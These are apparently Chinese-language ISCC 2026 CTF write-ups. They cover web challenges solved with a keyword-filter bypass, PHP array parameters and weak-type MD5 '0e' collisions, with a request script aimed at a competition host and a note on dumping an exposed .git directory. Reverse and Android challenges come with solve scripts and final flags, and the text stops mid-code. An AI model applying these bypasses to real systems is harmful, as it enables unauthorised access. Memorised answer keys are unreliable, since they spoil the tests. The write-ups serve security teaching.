练武题 校赛 Web 消失的密钥 (The Vanishing Key) 题目信息
项目
内容
靶机
http://39.105.213.28:12601/
题目
实验室的防护系统似乎有些老旧,它对“Key”这个词异常敏感。如果你能证明你比它的过滤器更聪明,或许能看到隐藏在迷雾后的真相。
关键点
递归删除绕过、PHP 弱类型 MD5 碰撞
分值
50
解题思路 题面描述实验室防护系统对 Key 异常敏感,提示点非常集中:第一层要处理关键字过滤,后续围绕认证流程继续推进。
页面的认证流程分成三段。第一段要求输入内容经过过滤后仍能得到 key;第二段要求提交特定的 POST 表单结构;第三段要求 GET 参数 a 和 b 通过哈希碰撞检查。
因此整体路线是先构造会被过滤器“删中间留两边”的字符串,再提交 a[key]=1337,最后使用 PHP 弱类型比较中经典的 0e MD5 碰撞对完成认证。
阶段一:关键字过滤绕过 直接输入 key 会被过滤器删除,因此需要构造一个字符串,使过滤器删掉中间的 key 后,剩余字符重新拼成 key。
这里使用:
提交后第一阶段通过,页面返回 Phase 1 Success。
阶段二:POST 表单结构 第一阶段通过后,页面提示缺少 POST 数据结构 a。结合 PHP 表单解析规则,a[key]=1337 会被解析成数组:
1 2 3 4 5 [ "a" => [ "key" => "1337" ] ]
也就是请求中需要带上如下表单数据:
1 2 3 4 POST /?step1=kkeyey HTTP/1.1 Content-Type : application/x-www-form-urlencodeda [key] =1337
提交后第二阶段通过,页面返回 Phase 2 Identity Confirmed,并提示继续提供 GET 参数 a 和 b 进行碰撞检查。
阶段三:PHP 弱类型 MD5 碰撞 第三阶段的关键词是 Collision check。题目又强调系统老旧,因此优先考虑 PHP 弱类型比较。
PHP 在使用 == 比较字符串时,如果两边都形如科学计数法数字,例如 0e...,会把它们当成数字 0 处理。于是两个不同字符串只要 MD5 值都以 0e 加纯数字形式出现,就可能绕过弱比较。
本题可用的碰撞对如下:
参数
原文
MD5
a
QNKCDZO
0e830400451993494058024219903391
b
240610708
0e462097431906509019562988736854
最终请求同时满足三个阶段:
1 2 3 4 5 6 7 GET 参数: step1=kkeyey a=QNKCDZO b=240610708 POST 表单: a[key]=1337
服务端返回 CREDENTIAL_FOUND,成功得到 flag。
复现脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import reimport requestsurl = "http://39.105.213.28:12601/" params = { "step1" : "kkeyey" , "a" : "QNKCDZO" , "b" : "240610708" , } data = { "a[key]" : "1337" , } response = requests.post(url, params=params, data=data, timeout=10 ) print (response.text)match = re.search(r"ISCC\{[^}]+\}" , response.text)if match : print (match .group(0 ))
验证输出 关键响应片段如下:
1 2 3 4 5 6 <div class ='status-ok' > [AUTH] Phase 1 Success. Master Const: 1337</div > <div class ='status-ok' > [AUTH] Phase 2 Identity Confirmed. Hash protocol initiated.</div > <div class ='status-ok' style ='border: 2px dashed #3fb950;' > CREDENTIAL_FOUND: <code > ISCC{QN-tGwW0yZD4!1fQ?TXJ0b0)bUag8i}</code > </div >
最终 Flag 1 ISCC{QN-tGwW0yZD4!1fQ?TXJ0b0)bUag8i}
小结 这题的核心不在复杂漏洞链,而在看出三个阶段分别考察不同的 PHP 特性:
第一阶段利用递归删除或单次删除类过滤器的拼接绕过,让 kkeyey 过滤后变回 key。
第二阶段利用 PHP 对 a[key]=1337 的数组解析方式,构造服务端期望的数据结构。
第三阶段利用 0e 形式的 MD5 结果触发弱类型数字比较,使两个不同字符串在 == 下被视为相等。
JSON Beautifier 题目信息
项目
内容
靶机
http://39.105.213.28:49102
题目
我们上线了一个“JSON 美化 + 预览”小工具:提交数据后会生成一个临时预览文件,方便复查内容。
关键点
分值
150
解答思路
robots.txt:
夜班审计台
项目
内容
靶机
http://39.105.213.28:49106
题目
某存储团队夜里临时挂出了一套“审计查询页”,看起来像能查东西,实际上只会一本正经地回你几句模板话。白天值班的人说一切正常,真正不安分的细节,往往藏在他们以为没人会翻的地方。
关键点
分值
300
http://39.105.213.28:49106/static/main.js 发现git泄露。 这里用Githack试试。 报错。是因为这个靶机/.git/HEAD 和 /.git/config 是 200,但 /.git/index 是 404。GitHack 这类老工具强依赖 index,所以会直接停。这个场景更适合用 git-dumper 之类从 HEAD、refs、objects 恢复的工具
区域赛 Reverse 拆弹专家 定时炸弹 题目信息
项目
内容
比赛来源
2026ISCC
题目分类
Reverse
题目名称
拆弹专家 定时炸弹
附件
attachment-21.cpp
SHA256
8CC8C2DB02F08D7237C6F3BFCC04CC13AA42D09BF1DE5554E444E2D7440F799B
解题思路 附件是 C++ 源码,程序整体是三阶段拆弹校验。成功分支会输出固定前缀 ISCC{,然后把三段输入密码依次拼接,最后输出右花括号。因此目标是恢复三个阶段的正确输入。
第一阶段使用自定义魔方风格变换、PKCS7 填充、Base64 编码和 FNV1a32 哈希。源码注释给出生成校验值的明文是 BJAWANUS,但仍需要复刻算法验证。第二阶段参数由第一阶段哈希派生,第三阶段迷宫路径又由第一阶段哈希和第二阶段数字共同派生,三个阶段是串联关系。
技术实施 第一阶段密钥由异或恢复为 R U F R’ D2。对 BJAWANUS 进行同样的加法与置换后得到 Base64 密文 WFhXX2xKRlkfFgwQHxANEw==,继续计算 FNV1a32 得到 0xeaefcf12。该值与 0xA5A5A5A5 异或后等于源码中的 0x4F4A6AB7,第一段输入成立。
第二阶段用这个哈希生成 g_a 系数和隐藏解。LCG 每轮更新后,第一项取一位数,其余四项取两位数,组合得到 738231485。代入源码中的五个方程后,目标值与程序派生值一致。
第三阶段使用 atoi(password2) 与 stage1_hash 乘以 0x9E3779B1 后的结果异或生成迷宫 seed。源码中额外开路条件写成 r % 100 小于负数,因此永远不会触发,迷宫只保留保证从左上到右下的主路径。复现 LCG 后得到路径 RDRDRD。
关键命令 1 python .\scripts\solve.py
验证输出
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 import base64def fnv1a32 (data: bytes ) -> int : h = 0x811C9DC5 for b in data: h ^= b h = (h * 0x01000193 ) & 0xFFFFFFFF return h def pkcs7_pad (data: bytes , block: int = 8 ) -> bytes : pad = block - (len (data) % block) if pad == 0 : pad = block return data + bytes ([pad]) * pad def invert_perm (perm ): inv = [0 ] * 8 for old, new in enumerate (perm): inv[new] = old return inv def add_array (indexes, value ): out = [0 ] * 8 for index in indexes: out[index] = value return out def build_moves (): moves = { "R" : {"perm" : [0 , 5 , 2 , 1 , 4 , 7 , 6 , 3 ], "add" : add_array([1 , 3 , 5 , 7 ], 1 )}, "L" : {"perm" : [2 , 1 , 6 , 3 , 0 , 5 , 4 , 7 ], "add" : add_array([0 , 2 , 4 , 6 ], 2 )}, "U" : {"perm" : [0 , 1 , 6 , 2 , 4 , 5 , 7 , 3 ], "add" : add_array([2 , 3 , 6 , 7 ], 3 )}, "D" : {"perm" : [1 , 5 , 2 , 3 , 0 , 4 , 6 , 7 ], "add" : add_array([0 , 1 , 4 , 5 ], 4 )}, "F" : {"perm" : [0 , 1 , 2 , 3 , 6 , 4 , 7 , 5 ], "add" : add_array([4 , 5 , 6 , 7 ], 5 )}, "B" : {"perm" : [1 , 3 , 0 , 2 , 4 , 5 , 6 , 7 ], "add" : add_array([0 , 1 , 2 , 3 ], 6 )}, } inverse_specs = [ ("R'" , "R" , [1 , 3 , 5 , 7 ], 7 ), ("L'" , "L" , [0 , 2 , 4 , 6 ], 8 ), ("U'" , "U" , [2 , 3 , 6 , 7 ], 9 ), ("D'" , "D" , [0 , 1 , 4 , 5 ], 10 ), ("F'" , "F" , [4 , 5 , 6 , 7 ], 11 ), ("B'" , "B" , [0 , 1 , 2 , 3 ], 12 ), ] for name, base, indexes, value in inverse_specs: moves[name] = {"perm" : invert_perm(moves[base]["perm" ]), "add" : add_array(indexes, value)} return moves def expand_key (key: str ): seq = [] moves = build_moves() for token in key.split(): token = token.upper() times = 1 if token.endswith("2" ): token = token[:-1 ] times = 2 if token not in moves: raise ValueError(f"unknown move: {token} " ) seq.extend([token] * times) return seq def mofang_cipher (plaintext: str , key: str ) -> bytes : moves = build_moves() data = pkcs7_pad(plaintext.encode()) out = [] for offset in range (0 , len (data), 8 ): block = list (data[offset : offset + 8 ]) for move in expand_key(key): spec = moves[move] temp = [(block[i] + spec["add" ][i]) & 0xFF for i in range (8 )] next_block = [0 ] * 8 for old, new in enumerate (spec["perm" ]): next_block[new] = temp[old] block = next_block out.extend(block) return base64.b64encode(bytes (out)) def lcg (state: int ) -> int : return (state * 1664525 + 1013904223 ) & 0xFFFFFFFF def derive_stage2 (stage1_hash: int ) -> str : base_a = [2 , 3 , 4 , 5 , 6 ] g_a = [base_a[i] + ((stage1_hash >> (i * 6 )) & 0x3 ) for i in range (5 )] state = stage1_hash ^ 0x12345678 x = [] for i in range (5 ): state = lcg(state) x.append(state % 10 if i == 0 else 10 + (state % 90 )) checks = [ g_a[0 ] * x[0 ] + x[1 ] + x[4 ], x[0 ] + g_a[1 ] * x[1 ] + x[2 ], x[1 ] + g_a[2 ] * x[2 ] + x[3 ], x[2 ] + g_a[3 ] * x[3 ] + x[4 ], x[0 ] + x[3 ] + g_a[4 ] * x[4 ], ] assert checks == [151 , 144 , 144 , 220 , 701 ] return f"{x[0 ]} {x[1 ]:02d} {x[2 ]:02d} {x[3 ]:02d} {x[4 ]:02d} " def derive_stage3 (stage1_hash: int , password2: str ) -> str : seed = (int (password2) ^ ((stage1_hash * 0x9E3779B1 ) & 0xFFFFFFFF )) & 0xFFFFFFFF state = seed ^ 0x9E3779B9 x = 0 y = 0 path = [] while (x, y) != (3 , 3 ): state = lcg(state) can_right = x < 3 can_down = y < 3 if can_right and can_down: move = "R" if (state & 1 ) else "D" elif can_right: move = "R" else : move = "D" if move == "R" : x += 1 else : y += 1 path.append(move) return "" .join(path) def main (): password1 = "BJAWANUS" cipher = mofang_cipher(password1, "R U F R' D2" ) stage1_hash = fnv1a32(cipher) assert (stage1_hash ^ 0xA5A5A5A5 ) == 0x4F4A6AB7 password2 = derive_stage2(stage1_hash) password3 = derive_stage3(stage1_hash, password2) print (f"stage1 = {password1} " ) print (f"stage1_cipher = {cipher.decode()} " ) print (f"stage1_hash = 0x{stage1_hash:08x} " ) print (f"stage2 = {password2} " ) print (f"stage3 = {password3} " ) print (f"flag = ISCC{{{password1} {password2} {password3} }}" ) if __name__ == "__main__" : main()
问题与解决 本机 MinGW 无法识别 std=c++17 选项,去掉后又因为缺少 timeapi.h 无法原样编译附件。由于附件给出了完整源码,最终使用 Python 复刻三段校验逻辑,并用断言验证第一阶段混淆哈希和第二阶段方程目标。
知识点总结 源码逆向题可以优先定位成功输出和输入拼接方式,再沿着校验函数恢复约束。当前题目的关键是注意三关之间的状态依赖,先恢复第一阶段哈希,再继续派生第二阶段和第三阶段,能保证结果和程序逻辑保持一致。
最终 flag 1 ISCC{BJAWANUS738231485RDRDRD}
毛毛虫的逆袭 题目信息
项目
内容
比赛来源
2026ISCC
题目分类
Reverse
题目名称
毛毛虫的逆袭
题面
你是鸟儿。
附件
attachment-20.zip,解压后为 caterpillar27.exe
原始压缩包 SHA256
0C5DC6242AC8F92D1F50A60A95ECF0132CBDFEEEBB3B76C417047469DF6F7EA8
解题思路 附件解压后只有一个 Windows 64 位控制台程序 caterpillar27.exe。先做文件类型和字符串检查时,发现程序段名是 UPX0、UPX1、UPX2,导入表也只剩 LoadLibraryA、GetProcAddress、VirtualProtect、ExitProcess 这类 UPX 壳常见 API,因此第一步先脱 UPX 壳。
使用 UPX 5.0.2 标准脱壳后,程序从 111104 字节恢复到 266240 字节。再次运行程序可以看到输入格式提示:
1 Input flag in the format ISCC{xxxxxxxxxxxxxxxxxxxx}:
测试可知总长度必须为 26,也就是 ISCC{ 加 20 位正文再加 }。随后围绕 Invalid input length.、Invalid input format.、Success!、Fail! 等字符串定位主校验逻辑。
技术实施 主函数在 0x140006d30 附近。程序先检查前缀 ISCC{ 和最后的 },然后取出花括号内 20 个字符。核心校验分支使用种子 27 生成伪随机偏移,每一轮按下面的方式更新状态:
1 2 seed = seed * 0x41C64E6D + 0x3039 offset = (seed >> 24) % 95
由于输入字符被限制在可打印 ASCII 范围内,程序会把每个字符先减去 0x20,加上当前偏移,再对 95 取模,最后加回 0x20。变换后的 20 字节需要与目标串比较:
这个过程是可逆的,所以只需要对目标串逐位减去同样的偏移即可恢复原始输入。
关键命令 1 2 3 D:\CaptureTheFlag\CTFTool\7 -Zip \7 z.exe l attachment-20 .zip D:\CaptureTheFlag\CTFTool\UPX\upx-5 .0.2 -win64 \upx.exe -d evidence\caterpillar27.exe -o outputs\caterpillar27_unpacked.exe python scripts\solve.py
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 target = b"EYNvmSg#?^/ho-bV~q=$" seed = 27 plain = [] for byte in target: seed = (seed * 0x41C64E6D + 0x3039 ) & 0xFFFFFFFF offset = (seed >> 24 ) % 95 plain.append(((byte - 0x20 - offset) % 95 ) + 0x20 ) inner = bytes (plain).decode("ascii" ) print (f"ISCC{{{inner} }}" )
验证输出 解题脚本输出:
1 ISCC{s]yCD9)(@eJ@OS7?>^)}}
将该结果输入原始未脱壳程序,程序返回:
1 Input flag in the format ISCC{xxxxxxxxxxxxxxxxxxxx}: Success!
知识点总结 遇到 UPX 壳的 Windows 程序,先用字符串、段名和导入表确认壳特征,再用标准 UPX 脱壳,可以显著降低后续分析难度。本题脱壳后逻辑并不复杂,关键是从成功和失败输出回溯到主校验函数,并识别出可打印 ASCII 环上的可逆偏移变换。
最终 flag 1 ISCC{s]yCD9)(@eJ@OS7?>^)}}
按步取匙 题目信息
项目
内容
比赛来源
2026ISCC
题目分类
Reverse / Mobile
题目名称
按步取匙
附件
attachment-25.apk
APK SHA256
946D3CBAC2AD5F605970E5067CF12E118ECE25C03903CD9ECB9BD9FB188BC4D1
题面
有人把秘密藏在了言外之意:三段不起眼的笔记、几处被风吹淡的线索,以及一把只在特定时刻才会发亮的小匙。慢慢拼凑、静观其变,你会发现这不是一次抢夺,而是一场用心的对话;设备会替这段对话留下一点独有的指纹,作为回响。
解题思路 附件是 Android APK。先解包查看结构,可以看到 Java 层的 MainActivity 只负责界面流程,真正的认证逻辑全部落在 lib/arm64-v8a/libzkpcore.so 里。
Java 层暴露出的 native 调用顺序非常清晰:先 nativeLogin,再依次执行三段挑战,第二段通过后会把 nativeGetIntermediateToken 返回的中间 token 保存到 SharedPreferences,第三段再把最终密钥和这个 token 一起交给 native 校验。最终 nativeGenerateFlag 只有在三段 challenge 标志位全部置位,并且 token 链初始化完成后才会生成 flag。
因此本题的关键不是跑界面试输入,而是围绕 native 里的字符串、常量和 hash 链做静态复原。整体路线如下:
先恢复登录用户名和密码,使 session_key 派生逻辑成立。再逆向第一重 Feistel/LFSR 校验得到 8 位验证码。第二重从 native 常量推导 4 字节种子,计算 32 位 hex token。第三重根据中间 token 和设备混合常量推导最终密钥。最后按 nativeGenerateFlag 的拼接顺序重算 flag。
技术实施 APK 解包后重点文件如下:
1 2 3 4 classes3.dex assets/challenge2.enc assets/pw.dat lib/arm64-v8a/libzkpcore.so
classes3.dex 中的 MainActivity 声明了这些 native 方法:
1 2 3 4 5 6 private native int nativeLogin (String var1, String var2) ;private native int nativeVerifyChallenge1 (String var1) ;private native int nativeVerifyChallenge2 (String var1) ;private native String nativeGetIntermediateToken () ;private native int nativeVerifyChallenge3WithToken (String var1, String var2) ;private native String nativeGenerateFlag () ;
native 字符串里能看到多段明显提示:
1 2 3 4 5 6 7 8 9 10 11 12 t1_static_ t2_dynamic_ t3_android_ CTF_ZKP_FLAG_V2 CTF_ZKP_apk-20_SALT_V3 CTF_ZKP_INTERMEDIATE_SEED_V2 ISCC{%s} k3y_j4va_k3y!!!! HINT: The final key is derived from: intermediate_token XOR device_secret Then apply Blum square root modulo N - session_key
登录部分中,用户名不是明文存放,而是由 10 字节密文和 k3y_j4va_k3y!!!! 异或得到:
1 2 3 密文: 11 58 09 00 07 55 05 15 3A 19 密钥: k3y_j4va_k3y!!!! 用户名: zkp_master
密码由三段字符串拼接:
1 Zkp_ + M_as + t3er = Zkp_M_ast3er
登录成功后,native 会基于密码和盐派生 session_key。盐字符串为 CTF_ZKP_apk-20_SALT_V3,流程等价于:
1 2 3 4 password_hash = SHA256(password) salt_hash = SHA256("CTF_ZKP_apk-20_SALT_V3") prk = HMAC-SHA256(salt_hash, password_hash) session_key = HKDF-Expand(prk, "AUTH_OK", 32)
第一重验证要求输入 8 位大写十六进制。核心校验是 Feistel 风格结构,LFSR 种子为 0xb07c,轮函数里使用 rodata 中的 16 字节 S-box。逆向恢复后得到第一重输入:
通过后写入第一段 token:
1 SHA256("t1_static_" + "B8F654B5")
第二重先从 rodata 常量生成种子。两个 32 位大端常量异或后得到 0x96AF226A,再执行 7 轮 LCG:
1 x = (x * 0xd4d660ff + 0xa43e13db) & 0xffffffff
7 轮后得到 0x6A132671,再与 0x52754259 异或得到 0x38666428。native 将其按大端原始 4 字节做 SHA-256,取前 16 字节转小写 hex,因此第二重 token 为:
1 18adf3ab57617bb6c3d2f704cd7d9c32
第二重通过后,程序生成中间 token:
1 SHA256(challenge2_hex + "CTF_ZKP_INTERMEDIATE_SEED_V2")
取前 16 字节 hex 后得到:
1 2a29e423dea77a19330c17683edf7218
第三重会先确认 Java 层传入的 token 与 native 全局保存的中间 token 一致。真正的最终密钥来自中间 token 的前 8 个字符。native 将这 8 个字符按大端组为 64 位整数,再与固定设备混合常量异或:
1 0x3261323965343233 ^ 0x6c52e5b3dcc0035b = 0x5e33d78ab9f43168
随后对该 64 位整数的小端 8 字节做 SHA-256,取前 16 位 hex 作为最终密钥:
第三重通过后写入第三段 token:
1 SHA256("t3_android_" + final_key + intermediate_token)
最终 flag 的生成逻辑为:
1 SHA256("CTF_ZKP_FLAG_V2" + session_key + token1[:8] + token2[:8] + token3[:8])
取前 24 字节 hex 后套入 ISCC{%s}。
关键命令 1 2 3 4 D:\CaptureTheFlag\CTFTool\dex-tools-v2 .4 \d2j-dex2jar .bat classes3.dex -o outputs\classes3.jar java -jar D:\CaptureTheFlag\CTFTool\CTF-NetA-V2 .11.15 \plugins\cfr\cfr-0 .152 .jar outputs\classes3.jar --outputdir outputs\cfr_classes3 wsl bash -lc "r2 -e scr.color=0 -A -q -c 'pdf @ 0x3c4c' -c 'pdf @ 0x43d0' -c 'pdf @ 0x2f14' -c 'q' libzkpcore.so" python scripts\solve.py
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import hashlibimport hmacdef sha256 (data: bytes ) -> bytes : return hashlib.sha256(data).digest() def hkdf_expand (prk: bytes , info: bytes , length: int ) -> bytes : out = b"" block = b"" counter = 1 while len (out) < length: block = hmac.new(prk, block + info + bytes ([counter]), hashlib.sha256).digest() out += block counter += 1 return out[:length] username = "zkp_master" password = "Zkp_M_ast3er" challenge1 = "B8F654B5" salt = b"CTF_ZKP_apk-20_SALT_V3" password_hash = sha256(password.encode()) salt_hash = sha256(salt) prk = hmac.new(salt_hash, password_hash, hashlib.sha256).digest() session_key = hkdf_expand(prk, b"AUTH_OK" , 32 ) challenge2_seed = 0x38666428 .to_bytes(4 , "big" ) challenge2 = sha256(challenge2_seed)[:16 ].hex () intermediate = sha256( challenge2.encode() + b"CTF_ZKP_INTERMEDIATE_SEED_V2" )[:16 ].hex () acc = 0 for b in intermediate[:8 ].encode(): acc = (acc << 8 ) | b device_mix = acc ^ 0x6C52E5B3DCC0035B final_key = sha256(device_mix.to_bytes(8 , "little" )).hex ()[:16 ] token1 = sha256(b"t1_static_" + challenge1.encode()) token2 = sha256(b"t2_dynamic_" + challenge2.encode()) token3 = sha256(b"t3_android_" + final_key.encode() + intermediate.encode()) flag_body = sha256( b"CTF_ZKP_FLAG_V2" + session_key + token1[:8 ] + token2[:8 ] + token3[:8 ] )[:24 ].hex () print (f"username = {username} " )print (f"password = {password} " )print (f"challenge1 = {challenge1} " )print (f"challenge2 = {challenge2} " )print (f"intermediate_token = {intermediate} " )print (f"final_key = {final_key} " )print (f"flag = ISCC{{{flag_body} }}" )
验证输出 运行脚本得到:
1 2 3 4 5 6 7 username = zkp_master password = Zkp_M_ast3er challenge1 = B8F654B5 challenge2 = 18adf3ab57617bb6c3d2f704cd7d9c32 intermediate_token = 2a29e423dea77a19330c17683edf7218 final_key = b59ea5cdff4c719c flag = ISCC{311971327021fe5c16eaa5d5f68d6acd31f9a0a01fa427f9}
问题与解决 本机没有 jadx,直接改用 dex2jar 加 CFR 还原 Java 层,再用 radare2 分析 native。Java 层只给出了流程骨架,真正的校验和 flag 生成都在 so 中,因此重点放在 native 的字符串、全局状态偏移和 hash 调用链上。
第二重最容易出错的是字节序。汇编中最终送入 SHA-256 的是 0x38666428 的大端 4 字节,而不是小端栈内表示。第三重则相反,异或后的 64 位值送入 SHA-256 前使用小端 8 字节。把这两处字节序确认后,三段 token 链和最终 flag 可以稳定复现。
知识点总结 Android mobile 逆向题不要只盯 Java 层。遇到 native 方法承载主逻辑时,先从 Java 层恢复调用顺序和状态传递,再回到 so 中找字符串、常量和成功分支。对于多阶段认证题,尤其要关注每一阶段通过后写入的状态,因为最终 flag 往往不是某个输入本身,而是由所有阶段的中间 token 共同派生。
最终 flag 1 ISCC{311971327021fe5c16eaa5d5f68d6acd31f9a0a01fa427f9}
密码验证 题目信息
项目
内容
比赛来源
2026ISCC
题目分类
Reverse / Mobile
题目名称
密码验证
题面
在混乱交织的关系中寻找正确的方向。
附件
attachment-23.apk
APK SHA256
371CAD206D7709D576729E486E499E125A5CC8290ECC21B2C0A2AB4407CC056C
解题思路 附件是 Android APK。先解包看 Java 层,再跟进 native 库的主校验流程。MainActivity 中的按钮逻辑很薄,只在提交前检查总长度是否为 36,前缀是否为 ISCC{,后缀是否为 },真正的验证都在 NativeBridge.verifyFlag() 对应的 libnativecrypto.so 中。
因此核心目标变成两件事:先确认 Java 层没有对输入做额外清洗或重排,再把 native 中对 30 字节花括号内容的三段校验完整复原。分析过程中最关键的转折点,是发现 puzzle.bin 已经足以唯一锁定 part1 的前四字节,而脚本推导结果却和它冲突,这说明 helper 还原里一定有细节抄错。继续沿着 helper 函数逐个落地后,最终把整个链条闭合。
技术实施 APK 解包后,最重要的资源是:
1 2 3 4 5 assets/cipher1.bin assets/cipher2.bin assets/cipher3.bin assets/puzzle.bin lib/x86_64/libnativecrypto.so
先用 dex2jar + CFR 看 Java 层。MainActivity 调用 NativeBridge.verifyFlag(assetManager, flag) 前只做了三项检查:
1 2 3 长度 == 36 前缀 == ISCC{ 后缀 == }
这一步确认输入不会被 trim、转大小写,也不会被拆分重组。随后回到 native,可以看到 JNI 函数把花括号里的 30 字节正文切成三段:
1 2 3 part1: 8 字节 part2: 12 字节 part3: 10 字节
native 先从 rodata 取出三段 16 字节常量,再逐字节经过:
1 tbyte(x) = (((x - 0x13) & 0xff) ^ 0x5a)
还原得到:
1 2 3 K1 = 1a2b3c4d5e6f708192a3b4c5d6e7f809 K2 = 01000000000100000000010000000001 K3 = aabbccdd11223344556677889900feed
后面三个 helper 才是整题最关键的部分。
0x2a3d0 先把 K1 和 K3 异或,再整体左旋 3 字节,得到:
1 k13 = 904f4d43c5c7c5c34d4fe706e4b090f0
0x2a5f0 不是简单矩阵乘法。它先在 GF(256) 上做 4x4 变换,然后按行重排 PERM = [2, 3, 0, 1]。这里一开始误记成了别的排列,导致后续 stream_key 全部偏掉,也是脚本最初算不通的根源。修正后得到:
1 k132 = 4d4fe706e4b090f0904f4d43c5c7c5c3
0x2a890 把 k13、k132、K3 三组字节逐位异或后送进 AES S-box,再执行一次前缀异或,最终得到:
1 stream_key = f51f2c6a6e92a15490a362dfb3462439
三段校验随后展开。
part1 先与 stream_key[(i + 1) % 16] 做异或掩码,再按 k13 组成的 128 位 key 走 16 轮 XTEA,结果要等于 cipher1.bin。这部分如果直接从密文回推,会遇到多个 helper 叠在一起,不太稳。更好的入口是 puzzle.bin,native 会拿 part1 的前四字节做 4 个 GF(256) 线性方程校验,解出来稳定是:
当 helper 链修正后,完整 8 字节自然收敛为:
part2 走的是 3 组 4 字节 GF(256) 线性方程,目标就是 cipher2.bin。把矩阵求逆后直接可得:
part3 则是 cipher3.bin 与一个 LCG 字节流异或后的结果。这里另一个容易踩坑的点是 seed 的来源。实际汇编证明 seed 取的是 stream_key[:8] 的大端 64 位整数,而不是曾经怀疑过的 stream_key[1:9]。LCG 为:
1 2 seed = (0x5851F42D4C957F2D * seed + 0x14057B7EF767814F) mod 2^64 output = (seed >> 24) & 0xff
带入后得到:
三段拼接后就是最终 flag:
1 ISCC{oW6BBCyyIn?Js-jyH_]FOYIm5txG6I}
关键命令 1 2 3 D:\CaptureTheFlag\CTFTool\dex-tools-v2 .4 \d2j-dex2jar .bat outputs\apk_unpacked\classes3.dex -o outputs\classes3-dex2jar .jar java -jar D:\CaptureTheFlag\CTFTool\CTF-NetA-V2 .11.15 \plugins\cfr\cfr-0 .152 .jar outputs\classes3-dex2jar .jar --outputdir outputs\cfr_classes3 python scripts\solve.py
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 from pathlib import PathROOT = Path(__file__).resolve().parents[1 ] ASSETS = ROOT / "outputs" / "apk_unpacked" / "assets" MASK32 = 0xFFFFFFFF MASK64 = 0xFFFFFFFFFFFFFFFF RAW_K1 = bytes .fromhex("5384792a17483deedb0c01b29fd0b566" ) RAW_K2 = bytes .fromhex("6e6d6d6d6d6e6d6d6d6d6e6d6d6d6d6e" ) RAW_K3 = bytes .fromhex("03f4a99a5e8b7c31224f40e5d66db7ca" ) SBOX = bytes .fromhex( "637c777bf26b6fc53001672bfed7ab76" "ca82c97dfa5947f0add4a2af9ca472c0" "b7fd9326363ff7cc34a5e5f171d83115" "04c723c31896059a071280e2eb27b275" "09832c1a1b6e5aa0523bd6b329e32f84" "53d100ed20fcb15b6acbbe394a4c58cf" "d0efaafb434d338545f9027f503c9fa8" "51a3408f929d38f5bcb6da2110fff3d2" "cd0c13ec5f974417c4a77e3d645d1973" "60814fdc222a908846eeb814de5e0bdb" "e0323a0a4906245cc2d3ac629195e479" "e7c8376d8dd54ea96c56f4ea657aae08" "ba78252e1ca6b4c6e8dd741f4bbd8b8a" "703eb5664803f60e613557b986c11d9e" "e1f8981169d98e949b1e87e9ce5528df" "8ca1890dbfe6426841992d0fb054bb16" ) CHARSET = b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_-!@#$%^&*()[]<>?.,:;+/\\" PERM = [2 , 3 , 0 , 1 ] def tbyte (x: int ) -> int : return (((x - 0x13 ) & 0xFF ) ^ 0x5A ) & 0xFF def gf_mul (a: int , b: int ) -> int : r = 0 while b: if b & 1 : r ^= a carry = a & 0x80 a = (a << 1 ) & 0xFF if carry: a ^= 0x1B b >>= 1 return r def mix (a: bytes , b: bytes ) -> bytes : v = bytearray (a) for i in range (min (16 , len (v), len (b))): v[i] ^= b[i] if v: v = v[3 :] + v[:3 ] return bytes (v) def permuted_matrix_mix (left: bytes , right: bytes ) -> bytes : temp = bytearray (16 ) for row in range (4 ): for col in range (4 ): coeff = right[row * 4 + col] for k in range (4 ): temp[row * 4 + k] ^= gf_mul(coeff, left[col * 4 + k]) out = bytearray (16 ) for row in range (4 ): src_row = PERM[row] out[row * 4 :(row + 1 ) * 4 ] = temp[src_row * 4 :(src_row + 1 ) * 4 ] return bytes (out) def part2_transform (part2: bytes , key_rows: bytes ) -> bytes : rows = len (part2) // 4 out = bytearray (rows * 4 ) for row in range (rows): for col in range (4 ): acc = 0 for k in range (4 ): acc ^= gf_mul(key_rows[col * 4 + k], part2[row * 4 + k]) out[row * 4 + col] = acc return bytes (out) def layered (a: bytes , b: bytes , c: bytes ) -> bytes : out = bytearray (16 ) for i in range (16 ): out[i] = SBOX[a[i] ^ b[i] ^ c[i]] for i in range (1 , 16 ): out[i] ^= out[i - 1 ] return bytes (out) def xtea_encrypt (v0: int , v1: int , key: list [int ] ) -> tuple [int , int ]: s = 0 delta = 0x9E3779B9 for _ in range (16 ): s = (s + delta) & MASK32 v0 = (v0 + ((((v1 << 4 ) & MASK32) + key[0 ]) ^ ((v1 + s) & MASK32) ^ ((v1 >> 5 ) + key[1 ]))) & MASK32 v1 = (v1 + ((((v0 << 4 ) & MASK32) + key[2 ]) ^ ((v0 + s) & MASK32) 